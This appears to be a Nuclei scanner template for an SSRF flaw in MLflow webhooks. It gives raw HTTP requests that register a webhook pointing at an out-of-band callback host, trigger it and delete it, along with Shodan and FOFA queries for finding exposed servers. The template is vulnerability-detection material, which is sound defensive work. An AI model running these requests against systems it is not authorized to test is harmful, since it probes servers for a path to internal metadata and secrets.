MLflow Webhook SSRF - Unauthenticated Full-Read via Redirect Bypass

id: CVE-2026-64849

info:
  name: MLflow Webhook SSRF - Unauthenticated Full-Read via Redirect Bypass
  author: DhiyaneshDk
  severity: critical
  description: |
    MLflow > 3.15.0 contains an information disclosure vulnerability caused by improper validation of webhook URLs allowing attackers to reach internal or cloud metadata services and obtain response details, exploit requires unauthenticated access to the webhook test endpoint.
  impact: |
    Attackers can access internal or cloud metadata services and retrieve response status and body, potentially exposing sensitive information.
  remediation: |
    Upgrade MLflow to a version containing PR #24258 which adds SSRFProtectedHTTPAdapter for connection-time IP validation covering redirect targets and DNS rebinding.
  reference:
    - https://github.com/mlflow/mlflow/security/advisories/GHSA-7gwp-5pfp-969j
    - https://github.com/mlflow/mlflow/pull/24258
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
    cvss-score: 9.3
    cve-id: CVE-2026-64849
    epss-score: 0.1641
    epss-percentile: 0.96767
    cwe-id: CWE-918
  metadata:
    max-request: 3
    verified: true
    shodan-query: http.title:"MLflow"
    fofa-query: title="MLflow"
  tags: cve,cve2026,mlflow,ssrf,oast,webhook,oss,vkev,kev

variables:
  random: "{{rand_text_alpha(8)}}"

http:
  - raw:
      - |
        POST /api/2.0/mlflow/webhooks HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name":"{{random}}","url":"https://{{interactsh-url}}","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}

      - |
        POST /api/2.0/mlflow/webhooks/{{webhook_id}}/test HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"webhook_id":"{{webhook_id}}","event":{"entity":"REGISTERED_MODEL","action":"CREATED"}}

      - |
        DELETE /api/2.0/mlflow/webhooks/{{webhook_id}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_1
        words:
          - "webhook_id"
          - "ACTIVE"
        condition: and

      - type: word
        part: interactsh_protocol
        words:
          - "http"

    extractors:
      - type: regex
        name: webhook_id
        part: body
        internal: true
        regex:
          - '"webhook_id":\s*"([^"]+)"'
        group: 1
# digest: 490a004630440220190ecc4cd2ff0702e0fd910090f4a6aecd44db208468e3ed586b55b2db9f53f30220083048b4461a5629eacc03cc3b2b05696a5bb35a0781efb2bbd194ee3f1fc258:922c64590222798bb761d5b6d8e72950